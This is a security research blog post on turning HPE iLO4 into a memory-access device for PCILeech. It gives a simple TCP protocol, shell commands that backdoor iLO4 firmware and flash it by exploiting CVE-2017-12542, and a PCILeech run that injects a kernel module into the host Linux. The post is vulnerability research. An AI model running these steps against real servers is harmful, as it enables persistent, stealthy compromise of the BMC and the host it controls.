Using your BMC as a DMA device: plugging PCILeech to HPE iLO 4
2018 has been a really tough year for BMCs! Although their attack surface was not something new (IPMI has been studied by Dan Farmer back in 2013, followed by a state-of-the-art blogpost by HD Moore), recent studies have shed light on how powerful these devices are in the servers, being able to directly access the main host memory, and how poor their code quality and software mitigations were.
While Immunity presented critical vulnerabilities on both HPE iLO 2 and Dell iDRAC, we (Alexandre Gazet from Airbus, Joffrey Czarny from Medallia, and myself) focused on HPE iLO latest versions, namely iLO4 and iLO5.
This study has been presented in 3 different parts:
- Recon BRX: Subverting your server through its BMC: the HPE iLO4 case: this part covers iLO firmware and OS internals, a critical vulnerability in the web server, and the demonstration of the ability to reach the main host memory;
- SSTIC: Backdooring your server through its BMC: the HPE iLO4 case: this second part focuses on gaining persistence on iLO4 by using the previous vulnerability to write a backdoored firmware;
- ZeroNights: Turning your BMC into a revolving door: this final part is centered on the attack surface from the host operating system, and explains in details the exploitation of two new vulnerabilities used to flash a backdoored firmware from the host and bypass iLO5 secure boot feature.
In this latest presentation, we told the audience that the memory R/W primitive we got through the vulnerability allows us to perform in-memory attacks just as PCILeech tool does. Indeed, Nicolas Iooss told us he successfully managed to use this tool for the exploitation of yet-another HPE iLO vulnerability.
It seems this feature would be interesting, so this blogpost aims at describing a proof-of-concept of a link between PCILeech and HPE iLO4 using a modified firmware.
PCILeech
PCILeech is a tool using either hardware or software memory acquisition devices to perform various actions on a target's physical memory, including inserting kernel modules and unlocking sessions.
Adding a new device is quite straightforward:
- Create a new pair of source and header files implementing
open
,read
,write
andclose
primitives; - Add references to this new device in
pcileech.{c,h}
anddevice.c
; - Add the new files to the compilation chain in the
Makefile
.
For the sake of simplicity, we chose to implement a dummy device backed by a TCP server written in Python. This has two main advantages:
- This device can be easily reused to communicate with whatever device providing read and write primitives to memory;
- Changing the iLO-specific part would not involve recompiling PCILeech, we could imagine exploiting a vulnerability on a stock firmware instead of using our modified firmware.
The big picture is as follows:
For the communication between PCILeech and the service, we designed a very simple protocol supporting 3 different commands:
- Status: to check if the remote service is ready;
- Read: read memory primitive;
- Write: write memory primitive.
Each packet contains the command identifier as well as an address and a size.
typedef enum tdRawTCPCmd {
STATUS,
MEM_READ,
MEM_WRITE
} RawTCPCmd;
typedef struct tdRAWTCP_PROTO_PACKET {
RawTCPCmd cmd;
QWORD addr;
QWORD cb;
} RAWTCP_PROTO_PACKET, *PRAWTCP_PROTO_PACKET;
This is all we need for a working PCILeech device. The modified version has been put online on our repository.
iLO modified firmware
As a proof-of-concept, we will re-use the backdoored firmware we crafted as a demonstration of our SSTIC presentation.
As a reminder, this firmware exposes a new endpoint in the web server task, providing read and write memory primitives through GET
HTTP
requests. There are some drawbacks in using this firmware, as the HTTP
communication adds a time overhead and restricts the size of data which can be sent in a single request, but it is sufficient for this proof-of-concept. Writing a faster implant in the firmware is left as an exercise to the reader :)
All the tooling to insert the "backdoor" in an iLO4 2.50 firmware has been released after our SSTIC presention on the ilo4_toolbox repository. We recently added the exploit code which effectively writes this backdoored firmware on the flash chip through the use of the CVE-2017-12542 web server vulnerability. Be aware that using this code can brick your iLO, and even the whole server!
The new GET
handler code is in the GET_handler.S
file, and can be inserted as follows:
$ ./insert_backdoor.sh /tmp/ilo4_250.bin
[+] Extracting certificate 0
[+] Extracting certificate 1
[+] Extracting certificate 2
[+] iLO bootloader header : iLO4 v 2.50.67 23-Sep-2016
[...]
[+] Patch applied to outdir/bootloader.bin.patched
[+] Patch applied to outdir/kernel_main.bin.patched
[+] Patch applied to outdir/elf.bin.patched
[+] Compressing ELF... please take a coffee...
)))
(((
+-----+
| |]
`-----'
Compressed 0x16d74bc -> 0xd3c86f
[+] Compressing Kernel...
Compressed 0xc0508 -> 0x75a1e
[+] Firmware ready to be flashed
This can take a few minutes given the very low speed of the compression/decompression algorithms implemented in Python :)
The resulting firmware can then be flashed by exploiting the web server vulnerability:
$ python exploit_write_flash.py 192.168.42.78 250 /tmp/ilo4_250.bin.backdoored.toflash
[*] Connecting to 192.168.42.78...
[+] Connected
[...]
[*] Ready! Send content (1000000 bytes)
[*] Sent 00000000 bytes...
[...]
[*] 01000000 bytes written...
[+] Done
After the flash, iLO needs to be restarted to boot on its new firmware. If anything went wrong, the kernel should open a recovery FTP server. If it does not, well, refer to our ZeroNights talk and get your hands dirty: you will have to reflash the chip by hardware means!
iLO PCILeech service
The service in charge of relaying read and write queries from PCILeech to iLO has been written in Python and can be easily modified to include new modules: you can for example write an exploit for one of the remote iLO vulnerabilities and add it as a way to gain read and write access to the host memory.
The code has been released on our repository and only includes the module to talk with the backdoored firmware. When executed, it waits for incoming connections on local port 8888.
/pcileech_service$ python run.py
usage: run.py <ilo ip address> <mode>
mode: backdoor
/pcileech_service$ python run.py 192.168.42.78 backdoor
We can now the use PCILeech with the new RawTCP device, and insert a kernel module in the memory of the Linux running on the HPE server!
$ time ./pcileech kmdload -vvv -device rawtcp -device-addr 127.0.0.1 -device-port 8888 -kmd LINUX_X64_48
Current Action: Scanning for Linux kernel base
Access Mode: DMA (hardware only)
Progress: 748 / 268435422 (0%)
Speed: 6 MB/s
Address: 0x000000002FA00000
Pages read: 191488 / 68719468032 (0%)
Pages failed: 0 (0%)
Current Action: Verifying Linux kernel base
Access Mode: DMA (hardware only)
Progress: 32 / 32 (100%)
Speed: 1 MB/s
Address: 0x0000000031A00000
Pages read: 8192 / 8192 (100%)
Pages failed: 0 (0%)
KMD: Code inserted into the kernel - Waiting to receive execution.
KMD: Execution received - continuing ...
KMD: Successfully loaded at address: 0x76680000
real 2m38.038s
After 2 minutes and 38 seconds, the kernel module has been directly inserted in memory, without any prior knowledge of the kernel location in physical memory!
Conclusion
Pure memory dump performance is about 1MB/s on a local link, which is not so bad if you focus on specific parts of the memory. The write operation is however really slower because of the previously mentioned limitations.
If you get your hands on a Gen8
or Gen9
HPE server and want to play with iLO firmware modding, feel free to implement a better and faster R/W primitive and get in touch with us, we would love to hear about it!